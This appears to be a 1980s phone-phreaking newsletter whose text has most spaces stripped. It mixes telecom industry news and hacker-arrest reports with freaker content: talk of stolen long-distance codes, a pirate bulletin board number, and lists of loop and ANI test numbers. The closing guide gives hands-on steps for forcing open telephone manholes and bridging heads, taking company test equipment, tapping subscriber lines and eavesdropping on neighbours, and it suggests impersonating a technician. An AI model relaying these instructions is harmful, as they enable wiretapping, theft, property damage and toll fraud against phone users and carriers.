codesandmayhavetopayupto50$foreachcode.
SprintCodesAreDyingFast!
Sprintcodesarehardtogetandwhentheyareobtained,theytendtodierather
quickly.Freakershavebeensayingthatthe9500777portisdead,butonthe
contrary,itisstillavailableinstatesthatarenothighlyabusedbyFreaks.Hereagain,
rumoursarebeingspread.
TheBestBBSoftheMonth
Startingfromnowon,wewillhaveaBBSofthemonth.WewillchooseaBBS,
regardlessofcomputertypeandlookattheuserparticipationinfreakrelatedmatters,
aswellasqualitydiscussionsonthevariousillegaltopics.ABBScanremainthe
BBSofthemonthaslongastheyresideabovetherestoftheBBSsystems.Even
thoughwewillsometimesbringoutmorethanoneissueinamonth,theboardwill
remainBBSofthemonthuntilthefirstissueinthenextmonthcomesout.This
month'sBBSofthemonthisFBIPirateNet.Wechosethisboardbecauseofthelarge

numbersofpostsinthebases,andnotonlyinformation,butdiscussionsaswell,with
aminimumnumberofpostsfromraggersandbraggers.Thenumberforitis516
6617360.TheSysOpofFBIPirateNetisThePhantom,nottobeconfusedwithan
earliernarc.
USSprintExpectedtoTrimStaff,ConsolidateDivisions
NewYorkUSSprintCommunicationsCorp.,thetroubledlongdistancecarrier,is
expectedtoannouncesoonthatitwillcutitsworkforcebyseveralhundredpeople
andreduceitssevenregionaldivisionsto3operatinggroups,sourcesfamiliarwith
thecompanysaid.Thecompany'sPacificdivisionisbasedinBurlingame,CA.The
layoffsandreorganizationarepartofaplanbyUSSprint'snewpresident,Robert
H.Snedaker,toreduceheavyoperatinglosses,whichanalystsexpecttoreachmore
than$800millionthisyear.SnedakerreplacedCharlesM.Slibo,whowasforcedto
resigninJulybecauselosseswererunningmuchhigherthantheparentcompanies
had expected. Problems with the company's computerized billing system also
contributedtoSkibo'souster.USSprintisownedandoperatedbytheGTECorp.
and United Tele Com. According to sources close to Snedaker, who was vice
chairman and chief operating officer of United Tele Com, he is planning to
consolidate the company's 7 divisions, which operate in the same geographical
regions as the seven regional Bell operating companies, into 3 divisions. The
rationaleforthemove,accordingtoindustryanalysts,isthatthecompanywillneeda
muchsmallerworkforceonceitbeginshandlingallit'sphone trafficonit'snewfibre
optic network, which can carry a greater number of telephone calls at less cost.
Company officials have said that they expect to have most of the traffic on the
networkbyearlynextyear.Onesourcesaidthattherewouldbemorethanoneround
oflayoffsinthecomingmonthsandthatthecompanyultimatelyplanstoreduceits
14000memberworkforceby15percent.Severaltopmanagersareexpectedto
resignassoonasUSSprintcentralizesitsmarketingandsupportoperationsasits
headquarters in Kansas City, Mo. , according to a report in the latest issue of
Business Week magazine. A spokesman for US Sprint said on Friday that the
companywouldnotcomment ontherumours.Thecompanyisthenation'sthird
largestlongdistancecompany,aftertheAmericanTelephoneandTelegraphCo.(AT
&T)andMCICommunicationsCo.Lastyear,WashingtonbasedMCIundertooka
similarreorganizationinwhichitposteda$502,5millionlosstowritedownold
inventoryandrestructureoperations.AnalystssaidthatisUSSprintistoturna
profit,thecompanymustincreaseitsmarketshare."Todothis,USSprintmustgain
more large business customers, which account for about 80 percent of industry
revenues,"saidRobertB.MorrisIII,SecuritiesinSanFrancisco.Morrissaidthatby
usingaslickmarketingcampaigntodifferentiateitsallfibretelephonenetwork
fromthoseofcompetitors,USSprintmorethandoubleditscustomerbaselastyear.
But"mostofthesecustomerswereresidentialandsmallbusinessusersthatadded
littletoSprint'sbottomline,"headded."Ifthecompanyexpectstobeprofitable,it
willhavetoconcentrateonprovidingthebestservicetovolumeusers."
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SecretServiceCracksDownonTeenHackers
MountLebanon,PATheUSSecretServiceandlocalpolicedepartmentshaveput
ascareintothehackercommunitywithanationwidecrackdownoncomputercrime
thathasresultedinthearrestsofteenagehackersinatleastthreecities."Peoplewho
monitor the bulletin boards say there are a lot of nervous hackers out there,
wonderingwhowillbearrestednext,"saysRonaldE.Freedman,vicepresidentof
Advanced Information Management, a Woodbridge, VA base computer security
firm. Nine teenagers from Mount Lebanon Junior Senior High School near
Pittsburg,PA,werearrestedrecentlyandchargedwithcomputerfraud.Thejuveniles
allegedlyusedhomecomputerstogainillegalaccesstoacreditcardauthorization
centre.Theyobtainedvalidcreditcardnumbersandusedthemtopurchasethousands
ofdollarsworthofmailordermerchandise,thepolicesaid.Freedmansaysitappears
thehackersusedsomerelativelysophisticatedtechniquesinthescheme,including
speciallywrittensoftwarethatenabledthemtobypasssecuritycontrolsandnavigate
throughcreditrecordstoobtainkeyinformation.Policeofficialssaythatthehackers
also obtainedaccess codes frompiratebulletinboardsystemstomake freelong
distancecallsandgainaccesstovariousbusinessandgovernmentcomputers.The
arrestsweretheresultofa6weekinvestigationbytheSecretServiceandtheMount
Lebanonpolice.Thepoliceweretippedoffbyparentswhowere suspiciousabout
howtheirsonmanagedtoobtainaskateboardvaluedat$140.TheSecretService
wasalsoinvolvedininvestigationsthatledtothearrestsofseveralhackersinSan
FranciscoandNewYorklastJuly.SecretServicespokesmanWilliamCorbettsays
thatalthoughsomereportshaveportrayedthehackersaspartofanationalcrime
ring,thecasesareunrelated."It'sjustthatafewofthesecomputershackingcases
cametoaheadataboutthesametime,"hesays.FederalLegislationenactedin1984
givestheSecretService,partoftheDepartmentoftheTreasury,amajorrolein
investigatingcomputercrimes.UnderthefederalComputerFraudandAbuseActof
1986,computerfraudisafelonythatcarriesamaximumpenaltyof5yearsforthe
first offenceand10yearsforthesecond.Displayingunauthorizedpasswordson
hackingbulletinboardscarriesamaximumpenaltyof1yearinprisonforthefirst
offenceand10yearsforthesecond.
thisinformationwassuppliedbyYeCap'n
GermanTeensCrackN.A.S.A.
WashingtonD.C.AgroupofWestGermanteenagersfromtheChaosComputer
ClubpenetratedaN.A.S.A.networkrecently,sayingtheyweredoingitto"testthe
security."WhattheygotintowasSpanNet,acomputernetworkwithabout700
notes,whichisactuallybasedattheGoddardSpaceCentreinMaryland.Allthat'sin
thereisunclassifieddata,spacescienceinformation,andpostflightdataanalysis.
"AnyonewithN.A.S.A.relatedresearchcanapplyforaccesstoSpan"saysa
spokesman,whoaddsthatthenetworkrunsonDECVAXhardware."Wepickedup
threeattemptstogainaccessandputinsecurityprecautionssoitwould'thappen."

Hispersonalopinionis,"We'rehappythattheycouldn'tgetbackinanddecidedto
gopublic."HealsoaddedthatN.A.S.A.hasmanyothernetworks,manyofthe
classifiedand"probablyimpenetrable.ButIdonotwanttochallengeanybody."
How'dtheygetin?ProbablytheygotaWestGermanN.A.S.A.licensee,which
gavethemavisitor'spass,thentheycreatednewpasswordswithunlimitedsecurity
forthemselves,afterwhichgettingaroundthenetworkwaseasy.]
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FCCChargesMuchAdoAboutNotMuch
NewCannanCTInternationalResourceDevelopofNewCannanCTsaysthatthe
marketbubbleforpacketswitchnetworkslikeTeleNetisgoingtoburstby1991,
regardless of what the Federal Communications Commission does about access
charges.Cheapfibre,whichgreatlyincreasesthecapacityandISDNservices,which
letyoushareaphonelinewithyourcomputer,willdothebusinessin,thereport
says.Overthenextfouryears,however,thedemandforpacketswitchservicesto
willgrowfrom$650millionto$1,612million(IftheBabyBellsareallowedto
addcompetitiontothemarket,the$5/houraccesschargecannotbepassedthough
tothecustomersanyway).]
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Pirate'sHollowUpdate
SanCarlosCAThePirate'sHollow,oneofthemorepopularBBS'sintheBay
Area,isinstallingseveralnewfeaturesthatwillevenaddtoit'spopularity.Forone,
users will be able to gamble against each other by betting on NFL games and
participatinginthePirate'sHollowLottery.Also,inordertosupportoneofthebest
newslettersaround,thePirate'sHollowwillsoonbeaddingaseparatemodulethat
willactasanoutpostforTheRemoteInformer.Thismodulewillfeaturetheolder
issuesofthenewsletter,asectionthatwillkeepyouabreastofupdatesofrecently
releasedinformationandasectionthatwillshowwhatisupcominginthenextissues

ofTheRemoteInformer.Thelongawaiteddatabasewillsoonbeputonline.Over
800textfilesonavarietyofsubjectswillbeavailabletotheusersthatpaytheaccess
feethatwillbedeterminedatalaterdate.Manymoreareonthewayandwillbe
includedatnocharge.Thechargewillbeaonetimechargethough,ratherthana
yearlypayment.AnothernewoptionwillbeavailablebyearlyDecember.PCPursuit
callbackwillbeinstalled.Thiswillallowpeopletocallandthengetcalledbackif
yourareacodeissupportedbyPCPursuit.Thiswillalsorequireacharge,tobesetat
a later date. The Pirate's Hollow has been doing well in its comeback to the
telecommunicationsworld,butweneedmorecallersinordertoformulateamore
diverseuserbase.PleasespreadtheBBS#aroundwhilealsotryingtomakeothers
awareofthenewsletter.
SwitchingSystems
Therearecurrentlythreedifferentformsofswitchingsystemsthatarepresentin
theUnitedStatestoday.StepbyStep(SxS),CrossbarandtheElectronicSwitching
System(ESS)makeupthegroup.Freakshavealwaysbeenalittletentativewhenit
comesto"doingtheirwork"oncetheyhaveheardabouteffectsofswitchingsystems
ontheirhobby.Afterresearchingthistopic,Ihavefoundthattherereallyisnotthat
muchtobeworriedabout.Readon,whileIsharewithyouinformationwhichIhave
compiledaboutalloftheseswitchingsystemsandtheirdistinctfeatures.Thefirst
switchingsystemthatwasusedinthecountrywascalledStepbyStep.Thiswas
adoptedin1918byBellanduntil1978,theyhadover53%ofalltheirexchanges
usingStepbyStep(SxS).Thissystemisknownforit'slong,confusingtrainof
switches that are used for its step by step switching. Step by Step has many
disadvantagestophoneusers.Theswitchtrainbecomesjammedfairlyoftenandit
causescallstobeblocked.Also,SxSdoesnotallowtheuseofDTMFdialling.This
accountsfor some of the areasintheUnitedStates thatcannothavetouchtone
dialling abilities. A tremendous amount of electricity and maintenance needs to
accompanytheSxSswitchingsystem,whichmakesitevenmoreimpractical.Allin
all,thisisprobablythemost archaicswitchingsystemaround.Thereareanumberof
waystoseeifyouareonSxS.Youwillnoticethattherearenopulsingdigitsafter
dialling.Mostsourcessaythatthephonecompanywillsoundlikemanytypewriters.
S x S does not offer features such as speed calling, call forwarding, three way
calling,callwaitingandothersuchservices.PayphonesonSxSalsowillwantyour
moneybeforeyoureceiveadialtone.Thisaddstothelistofdisadvantageslabelled
tothatoftheStepbyStepswitchingsystems.Anothertypeofswitchingsystemthat
is prevalent in the United States is Crossbar. Crossbar has been Bell's primary
switcherafter1960andthreetypesofitexists.Number1Crossbar(1xB),Number
4Crossbar(4xB)andtheNumber5Crossbar(5xB).InCrossbar,aswitching
matrixisusedforallthephonesinanarea,andwhensomeonecalls,therouteis
determinedandismetupwiththeotherphone.Thismatrixissetupinhorizontal
andverticalpaths.Unlikeotherswitchingsystems,inmyresearch,Icouldnotcome
up with any true and definite distinguishing features of the Crossbar switching
systems.TheElectronicSwitchingSystem(ESS)isyetanotherswitchingsystem

usedintheUnitedStatesandthemostusedofallthreeswitchingsystems.ESSisan
extremelyadvancedandmultifacedtypeofswitchingsystem,andisfearedby
maraudersofthephonecompanyeverywhere.WithESS,yourphonecompanyis
abletoknoweverydigitdialled(includingmistakes),whoyoucall,whenyoucalled
andhowlongyouwereconnected.ESSisalsoprogrammedtoprintoutthenumbers
ofpeoplewhomakeexcessivecallstoWatsnumbers(800services)ordirectory
assistance.ThisfeatureofESSiscalled800ExceptionalCallingReport,andhas
spelledtheendofsomeformsofcontinuouscodehackstocertainextenders.ESS
canalsobeprogrammedtoprintlogsofwhocalledandabusedcertainnumbersas
well.Everythingiskepttrackofinitsrecords.Theaforementionedfactsshowthat
ESS hasmadethejobs of organizations suchastheFBI,NSAandother phone
companysecurityforceseasier.Tracingcanbedoneinamatterofmicroseconds,
andtheresultwill beconvenientlyprintedoutonthemonitorofaphonecompany
officer.ESSisalsoprogrammedtopickupany"foreigntones"onthephoneline
suchasthemanyvariedtonesemulatedbyboxes.ESScanbeidentifiedbyafew
featurescommoninit.The911emergencyserviceiscoveredinthelaterversionsof
ESS.Also,youaregiventhedialtonefirstwhenusingapayphoneunlikethatofSx
S. Calling services like call forwarding, speed calling and call waiting are also
commontoESS.OneotherfeaturecommontoESSisANI(AutomaticNumber
Identification)forlongdistancecalls.Asyoucansee,ESSisbasicallythezenithof
allswitchingsystems,anditwillprobablyplaguetheentirecountrybytheearly
1990's.Soonafter,weshouldbelookingforwardtoasystemcalledClass.This
switchingsystemwillcontainthefeatureofhavingthenumberofthepersonthatis
callingyouprintedoutonyourphone.WhathaveIconcludedabouttheseswitching
systems?Well,theyarenotgoodenough.Iknowafewpeopleemployedbythe
phonecompanyandIknowforafactthattheydonothaveenoughtimethesedaysto
worryaboutcodeusers,especiallyinlarge,metropolitanareas.So,Iwillgooutona
limbhereandsaythatalargeportionofpeoplewillneverhavetoworryaboutthe
horrorsofESS.
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NewGizmoCanChangeVoiceGender
The most amazing device has turned up in the new Hammacher Schlemmer
catalogue:thetelephonevoicegenderchanger.Whatitdoesischangethepitchof
yourvoicefrom,say,sopranotobassamostefficientwaytodissuadeanobscene
phonecallerjustashe'sgettingwarmedup.Thatisnotthesameasrunninga45r.p.
m.recordat33.Indigitalconversion,thepitchcanbechangedwithoutalteringthe
speed.Thedevicerunsona9Voltbatterandattachestothetelephonemouthpiece
witharubbercouplerthattakesbutamomenttosliponandoff.Withthechanger
switchedon,saysLloydGray,aHammacherSchlemmertechnicalexpert,"theeffect
issimilartowhatyouhearwhentheyinterviewananonymouswomanontelevision
anddisguisehervoicebydeepeningit.""It'sbetterforchangingawoman'svoicetoa
man'sthantheotherwayaround,"Graysaid.Amancanuseittoraisethepitchof
hisvoice,buthestillwon'tsoundlikeawoman."Amancould,however,usethe

changertodisguisehisvoice.Butwiththedevicesetonhigh,Gray'svoicestill
couldbeidentifiedashisown.Onlow,hisnormaltenorbecamesogravellikethat
thewordswereunintelligible.]
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AT&TRates
WashingtonAmericanTelephone&TelegraphCo.proposedTuesdaytolowerits
interstatelongdistanceratesbyanaverageof3,6percenttoreflectreducedcostsin
connectingtothelocaltelephonenetwork.Thelargestdecrease6,3percentwould
be seen in day time prices "because of the need to make those rates more
competitive,"AT&Tsaid.Ratesforcallsmadeduringeveninghourswoulddrop2,
2percentandcallsmadeduringthelatenightandweekendswouldbecutby0,8
percent,thecompanysaid.TheratereductionswouldtakeeffectJan.1,iftheyare
approvedbytheFederal CommunicationsCommission.Reactingtotheproposed
pricecuts,MCICommunicationsCorp.andUSSprintCommunicationsCo.,the
nation'ssecondlargestandthirdlargestlongdistancecompaniesrespectively,said
theirresponsewoulddependonwhattheFCCfinallyapprovesbutbothsaidthey
intendedtoremaincompetitivewithAT&T.AT&T,thenation'slargestlong
distancecompany,proposedtotheFCCthatitsratesdropasmuchas$800million,
butAT&TsaidtheexactamountwilldependontheaccesschargestheFCCallows
thelocaltelephonecompaniestocollectfromlongdistancecarriers,whichmustpay
thefeestohookintothephonelocalnetwork.AT&Thaschallengedthenewaccess
ratesfiledbytheregionalBelloperatingcompanies,contendingtheyaremorethan
$1billiontoohigh.Inproposingitsnewrates,thelongdistanceleadertoldtheFCC
itexpectslocalcompanies'accessfeestofallbyatleast$200millionwhichwould
amounttoanaverageratereductionoflessthan1percent.Butthecompanysaidit
believestheFCCwillorderanadditional$600millioninreductionsbasedonAT&
T'schallenge."We'reconfidenttheFCCwillrecognizethataccesschargesfiledby
thelocaltelephonecompaniesneedtobesubstantiallyreduced,whichwouldmean
moresavingsforourcustomers,"saidLarryGarfunkel,AT&Tvicepresidentfor
marketing.Hesaidthecompanyfileditsproposedratesbasedondisputedcharges
because"wewantedtoletthepublicreact...andfurthertolettheFCChavefull
knowledgeofwherewewereheadinggivenourexpectationthatwehadavalidbasis
forourdispute."AT&T'slongdistancerateshavefallenbyabout34percentsince

thecompanywasstrippedofitslocaloperatingcompaniesbyanantitrustdecree
nearlyfouryearsago.Sincethen,phoneratepayershavebeenpayingalargershare
of the costs of maintaining the local network through monthly subscriber line
charges,now$2,6forresidentialcustomers.Thathasreducedthelongdistance
companies'shareoflocalnetworkexpenses,whichtheypayintheformofaccess
charges.JackGrubmann,atelephoneanalystwithPaineWebberInc.,saidAT&T
'sproposaltargetsbusinesscustomersbecause"that'swherethecompetitionisand
wherethebetter(profit)marginsare."Inaddition,itaimstokeepthepressureon
competition in international calling by extending discounts to more customers.
Grubmannaddedthat,ifthecompany'srateproposalisapprovedbytheFCC,he
wouldexpect nofurther cutsinAT&Tratesin1988.WendellLind,AT&T
administratorofratesandtariffs,saidthecutsforbusinessandresidentialcustomers
areaboutthesamebecausebusinesscutsareoffsetbyaproposed$128million
increaseinAT&T'sprivatelinerates.AT&Tistheonlylongdistancecompany
whoseratesareregulatedbytheFCC,butitspricessetthepacefortheindustry.
ThoughAT&Tisfarlargerthananyofitscompetitors,itsmarketsharehasbeen
decliningsincedivestitureandthecompanynowsaysitservesabout75percentof
the market. In addition to the reductions in basic long distance rates, AT & T
proposedcuttingpricesby5percentand5,7percentforitsProAmericacalling
plans.Thecompanyalsoproposedtoreducepricesby2,9percentforits800Service
customers and 4, 4 percent for Wats customers, although it would increase the
monthlyaccesslinechargesforthoseplansby$3,20toreflecthigherspecialaccess
chargesfiledbythelocalphonecompanies.
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US Sprint Operator Service Traffic increases 40 % New Centre added in

Dallas
OrlandoFla.USSprintWednesdayannounceditslongdistanceoperatorswho
begansaying,"MayIhelpyou?"justfivemonthsago,arenowhandling3,5
million calls a month. The fibre optic long distance carrier, offering the only
operator service alternative to AT & T has experienced a 40 percent growth in
operatorservicecallssinceitannounceditsserviceJuly1st.AmandaWeathersby,
USSprintvicepresidentofproductmarketing,saidTuesday,"Moreandmorepeople
are taking advantage of our call completion assistance and alternative billing
arrangements."CustomersurchargesarethesameasAT&Twiththeaddedbenefit
of US Sprint's fibre optic quality and lower long distance rates". US Sprint
currentlyofferspersontoperson,stationtostation,callcompletionandcollect
calling.USSprinthasannouncedanagreementwithUSWestServiceLinkthatwill
allowanyonetocallonUSSprintandchargetheircallstoaRegionalBellOperating
Co.callingcardbeginninginfirstquarter1988."Previously,ouroperatorservice
was available only on pre subscribed US Sprint phones and recently we added
operatorassistancefor USSprintFonCardcustomers,"Weathersbysaid."Withthis
newagreement,we'llbeabletoexpandouroperatorservicetomarketssuchaspay
phones,hospitalsandhotels/motels."Thenewest24houroperatorservicecentrein

DallasbeganoperationsonOct.5.USSprint'sotheroperatorservicecentresarein:
CherryHill,N.J.;Atlanta;Lombard,Ill.andReno,Nev.USSprintisajointventure
ofUnitedTelecommunicationsInc.ofKansasCity,Mo.andGTECorp.ofStamford,
Conn.
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PacificBellPursuingCallingCardThief
SanFrancisco(BW)PacificBelliswarningconsumerstoprotecttheirtelephone
callingcardslikeanyothercreditcardinthewakeofaseriesoffraudsbypeople
posingasphonecompanyemployees.APacificBellspokesmansayscustomersin
the213805and916areacodesarebeingvictimizedbysomeonewhosaysheisa
telephonecompanyemployeeinvestigatingcallingcardfraud.Theindividualcalls
peopleathomeatoddhours,askingfortheircallingcardnumbers.Hethensellsthe
numbers to people who use the numbers to make long distance phone calls. As
recentlyasMondayofthisweek,180longdistancecallswerebilledtoaSacramento
area resident who had given his number to the thief just three hours earlier.
AccordingtoPacificBell,thiskindofschemeandotherformsofcallingcardfraud
cost telephone customers nationwide half a billion dollars a year. The company
offeredthesetipstoconsumerstoavoidbecomingavictimofcallingcardfraud:
Nevergiveyourcallingcardnumberorpersonalidentificationnumbertoanyone.
Anytelephonecompanyemployeewithalegitimateneedtoknowthenumberhas
access to it. Treat your calling card like any other credit card. Report its loss
immediatelybycallingthe800numberonthebackofthecard8006210430.If
you receive a suspicious call regarding your telephone calling card, report it by
callingthe800numberonthebackofthecard.Ifyoureceiveacallfromsomeone
claiming to be a telephone company employee and asking for your calling card
number,askforanameandnumbertocallback.ThencallthelocalPacificBell
business office to report the incident. One suspect was arrested in Southern
Californialastweekbyaquickthinkingcustomerwhodidjustthat.PacificBell
immediatelycontactedthelocalpolicedepartment.Asuspectholdingsevenstolen
calling card numbers was arrested minutes later. Pacific Bell and long distance
telephonecompanieswillcreditcustomersforcallingcardchargesdeterminedtobe
fraudulent. Pacific Bell is a subsidiary of Pacific Telesis Group, a diversified
telecommunicationscorporationbasedinSanFrancisco
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TheFreaker'sGuidetoLoopLines

courtesyofJollyRoger
Aloopisawonderousdevicewhichthetelephonecompanycreatedastestnumbers
for telephone repairmen when testing equipment. By matching the tone of the
equipmentwiththetoneoftheloop,repairmencanadjustandtestthesettingsof
their telephone equipment. A loop, basically, consists of two different telephone
numbers.Let'suseAandBasanexample.NormallyifyoucallA,youwillheara
loudtone(thisisa1004hztone),andifyoucallB,thelinewillconnect,andwillbe
followedbysilence.Thisistheformatofaloopline.Now,ifsomebodycallsAand
someoneelsecallsBVoila!AandBlooptogetherandoneconnectionismade.
MaBelldidthissorepairmencancommunicatewitheachotherwithouthavingto
calltheirownrepairoffice.Theycanalsousethemtoexchangeprograms,likefor
ANAorRingback.Also,manyCo'shavea"LoopAssignmentCentre".Ifanyone
hasanyinformationonthesecentrespleasetellme.Anyway,thatishowaloopis
constructed.Fromthisinformation,anyonecanfindanactualloopline.Goingback
totheAandBexample,Note:thetonesideandthesilentsidecanbeeitherAorB.
Don'tbefooledifthephonecompanydecidestoscramblethemaroundtobecute.As
younowknow,loopscomeinpairsofnumbers.Usually,rightaftereachother.For
example:8179721890and8179721891.Or,tosavespace,onelooplinecan
bewrittenas8179721890/1.Thisisnotalwaystrue.Sometimes,thepatternisin
thetensorhundredsandoccasionallythenumbersarerandom.Incities,usuallythe
phonecompanyhassetasideaphonenumbersuffixthatloopswillbeusedfor.
Manydifferentprefixeswillcorrespondwiththatonesuffix.InArlington,Texas,a
popularsuffixforloopsis1893and1894,andalotofprefixesmatchwiththemto
makethenumber.ForExample:
8174601893/4
8174611893/4
8174651893/4

8174671893/4
8174691893/4

...areallloops...orashorterwaytowritethisis:
817xxx1893/4

xxx=460,461,465,467,469

Note:Youcanmixandmatchapopularsuffixwithotherprefixesinacityand
almost always find other loops or test numbers.
Note:ForHouston,theloopsuffixesare1499and1799.AndforDetroitit's9996
and9997.Whentherearealargenumberofloopswiththesameprefixformat,
chances are that many loops will be interlocked. Using the above example of
Arlingtonloopsagain,(Iwillwritetheprefixestosavespace)460,461and469are
interlockedloops.Thismeansthatonlyonesidecanbeusedatagiventime.Thisis
becausetheyareallonthesamecircuit.Toclarify,if8174611893iscalled,817
460and4691893cannotbecalledbecausethatcircuitisbeingused.Essentially,
interlockedloopsareallthesameline,butthereareavarietyoftelephonenumbers
toaccesstheline.Alsoiftheoperatorisaskedtobreakinonabusylooplinehe/she

willsaythatthecircuitisoverloaded,orsomethingalongthoselines.Thisisbecause
MaBellhastakenthecheckingequipmentofftheline.However,therearestillmany
rarelyusedloopswhichcanbeverifiedandcanhaveemergencycallstakenonthem.
Asyouhavefoundout,loopscomeinmanytypes.Anothertypeofloopisafiltered
loop.Thesearelooplinesthatthetellcohasputafilteron,sothatnormalhuman
voicescannotbeheardoneitherline.However,otherfrequenciesmaybeheard.Itall
dependsonwhatthetellcowantsthelooptobeusedfor.Ifaloophasgottentobe
verypopularwiththelocalpopulationorusedfrequentlyforconferencesetc.thetell
co may filter the loop to stop the unwanted "traffic". Usually, the filter will be
removedafterafewmonths,though.

HowMaBellWorks
byJollyRoger
Inthisarticle,Iwillfirstdescribethetermination,wiringandterminalhardware
mostcommonlyusedintheBellsystemandIwillincludesectiononmethodsof
usingthem.
LocalNetwork
Thelocaltelephonenetworkbetweenthecentraloffice/exchangeandthetelephone
subscriberscanbebrieflydescribedasfollows:Fromthecentraloffice(orlocal
exchange)ofacertainprefix(es),undergroundareatrunksgotoeachareathathas
thatprefix(Usuallymorethanoneprefixperarea.)Ateveryfewstreetsortract
areas,theundergroundcablessurface.Theythengotothetelephonepole(orback
underground,dependingonthearea)andthentothesubscribershouse(orinthecase
of an apartment building or multiline business, to a splitter or distribution box/
panel).Nowthatwehavethebasics,I'lltryandgoindepthonthesubject.
Undergroundcables
Thesearesometimesinterofficetrunks,butusuallyinaresidentialareatheyare
trunklinesthatgotobridgingheadsordistributioncases.Thecablesareabout23
inchesthick(varies),andareeitherinametalorpvctypepipe(orsimilar).Rarely
(maybenotinsomeremoteruralareas)arethecablesjustaloneintheground.
Insteadtheyareusuallyinanundergroundcementtunnel(resemblesasmallsewer
orstormdrain).Themanholesare<heavy<>andwillsayBellsystemonthem.
Theycanbeopenedwitha1/2inchwidecrowbar(Hookside)insertedinthetop
rectangularhole.Thereareladderrungstohelpyouclimbdown.Youwillseethe
cablepipesonthewall,withtheblueandwhitestripedonebeingtheinteroffice

trunk(atleastinmyarea).Theothersarelocallines,andareusuallymarkedor
colourcoded.Thereisalmostalwaysapostedcolourcodechartonthewall,notto
mentionTellcomanualsdescribingthecablesandterminals,soIneednotgetinto
detail.Also,thereisusuallysomekindoftestequipmentandoftenBelltestsetsare
leftinthere.
Bridgingheads
Theinnocentlookinggreyishgreenboxes.Thesecanbeeithertrunkbridgesor
bridgingforresidences.Themajortrunkbridgingheadsareusuallylargerandthey
havetheWesternElectriclogoatthebottom,whereasthenormalbridgingheads
(whichmaybedifferentinsomeareasdependingonthecompanyyouareserved
by.GTEB.H.'slookslightlydifferent.Also,donotbefooledbysprinklerboxes!)
Theycanbefoundinjustabouteverycity.Toopenabridginghead:ifitislocked
(andyou'refeelingdestructive),putahammerorcrowbar(thesameoneyouusedon
themanhole)intheslotabovethetophingeoftherightdoor.Pullhardandthedoor
willripoff.Veryeffective!Ifitisn'tlocked(asusual),takea7/8inchhexsocket
andwithit,turntheboltabout1/8ofaturntotheright(youshouldhearaspring
releaseinside).Holdingthebolt,turnthehandleallthewaytotheleftandpullout.
ToCheckforatestset(whichareoftenleftbyBellemployees),goinside.First
checkforatestset(whichareoftenleftbyBellemployees).Thereshouldbeapanel
ofterminalsandwires.Pushthepanelbackaboutaninchorsoandrotatethetop
latch(roundwithaflatsection)downward.Releasethepanelanditwillfallallthe
wayforward.Thereisusuallyalargeamountofwireandextraterminals.Thetest
setsareoftenhiddenhere,sodon'toverlookit(Manuals,aswell,aresometimes
placedinthehead).Ontherightdoorisametalboxofalligatorclips.Takeafew
(ComplimentsofBell).Oneachdoorisausefullittleroundmetaldevice.(Says
insertgentlyorclampgentlydonotovertightenetc.)Onthefrontofthedisc,
youshouldfindtwoterminals.Theseareforyourtestset.(Ifyoudon'thaveone,
don'tdespairI'llshowyouwaystomakebasictestsetslaterinthisarticle).Hook
thering()wiretotherterminalandthetip(+)wiretotheother.(Bytheway,an
easywaytodeterminethecorrectpolarityiswitha1,5vLed.Tapittotheterm.
pair,ifitdoesn'tlight,switchthepolesuntilitdoes.Whenitlights,findthelongerof
thetwoLedpoles:Thisonewillbeonthetipwire(+).Behindthediscisacoiledup
cord.Thisshouldhavetwoalligatorclipsonit.Itsveryuseful,becauseyoudon't
havetokeepconnectinganddisconnectingthephone(testset)itselfandtheclips
worknicely.Ontheterminalboard,thereshouldbeabout10screwterminalsper
side.Followthewiresandyoucanseewhichcablepairsareactive.Hooktheclipsto
theterminalpairandyou'reset!Dialoutifyouwantorjustlisten(Ifsomeone'son
theline).Later,I'llshowyouawaytosetupatruetapthatwillletthepersondial
outonhislineandreceivecallsasnormalandyoucanlisteninthewholetime.More
aboutthislater.Onmajorprefixareabridgingheads,youcanseelocalloops
,whicharetwocablepairs(cablepair= ring+tip,aphoneline)thataredirectly
connected to each other on the terminal board. These cheap loops as they are
called,donotworknearbyaswellastheexistingonessetupintheswitching

hardwareattheexchangeoffice.(Tryscanningyourprefixes00xxto99xx#'s.)The
tonesideswillannouncethemselveswiththe1008hzlooptoneandthehangside
willgivenoresponse.Thefirstpersonshoulddialthehangsideandtheother
persondialthetonesideandthetoneshouldstopifyouhavegottherightloop.)If
youwanttofindthenumberofthelinethatyou'reon,youcaneithertrytodecipher
thebridginglog(orwhatever),whichisontheleftdoor.Ifthatdoesn'twork,you
can use the following: ANI # (Automatic Number ID). This is a Tell Co. test
numberthatreportstoyouthenumberthatyou'recallingfrom(It'sthesame,choppy
Bellbitchvoicethatyougetwhenyoureachadisconnected#).Forthe:

213NPADial1223
408NPADial760
914NPADial990.

Theseareextremelyusefulwhenmessingwithanykindoflineterminals,house
boxesetc.Nowthatwehavebridgingheadswired,wecangoon(Don'tforgetto
closeandlatchtheboxafterall!Wouldn'twantGEandTellCo.Peoplemad,now,
wouldwe?)
"Cans"TelephoneDistributionBoxes

Basically,

two

types:

1)
Large, rectangular silver box at the end of each street.
2)Black,roundorrectangularthingateverytelephonepole.
Type1Thisisthecasethattakestheundergroundcablefromthebridgeandrunsit
tothetelephonepolecable(Thelowest,largestoneonthetelephonepole.)Thebox
isalwaysonthepolenearestthebridginghead,wherethelinecomesup.Lookfor
the'CallbeforeyouDigUndergroundcable'stickers.Thecaseboxishinged,soif
youwanttoclimbthepole,youcanopenitwithnoproblems.Theseusuallyhave2
rowsofterminalsets.YoucouldtrytoimpersonateaTellCo.technicianandreport
the number as new active (giving a fake name and fake report etc.) I don't
recommendthisanditprobablywon't(almostpositivelywon't)work,butthisis
basicallywhatTellCo.linemendo).
Type2Thisisthesplitterboxforthegroupofhousesaroundthepole(Usually4or
5 houses). Use it like I mentioned before. The terminals (8 or so) will be in 2
horizontalrowsofsets.Theextrawiresthatarejusthangingthereareprovisions
forextralinestoresidences(1extralineperhouse,that'swhytheinsanechargefor
line#3!)Ifitstheboxforyourhousealso,havefunandswaplineswithyour
neighbour ! Piggyback them and wreak havoc on the neighbourhood (It's
eavesdropping time). Again, I don't recommend this and its difficult to do it
correctly.Movingrightalong!
Apartment/Businessmultilinedistributionboxes
Foundoutsidethebuilding(mostoftenontherightside,butnotalways.Just
followthewirefromthetelephonepole)orinthebasement.Ithasaterminalforall
thelinesinthebuilding.Useitjustlikeanyotherterminationboxasbefore.Usually

saysBellsystem'these).Thewirescomefromthecabletoonerow(usuallythe
left one), withthe other row of terminals for the other rowof terminals for the
buildingphonewirepairs.Thering()wireisusuallythetopterminalifthesetinthe
row(1of 10ormore) andthetipisintheclamp/screwbelowit.Thiscanbe
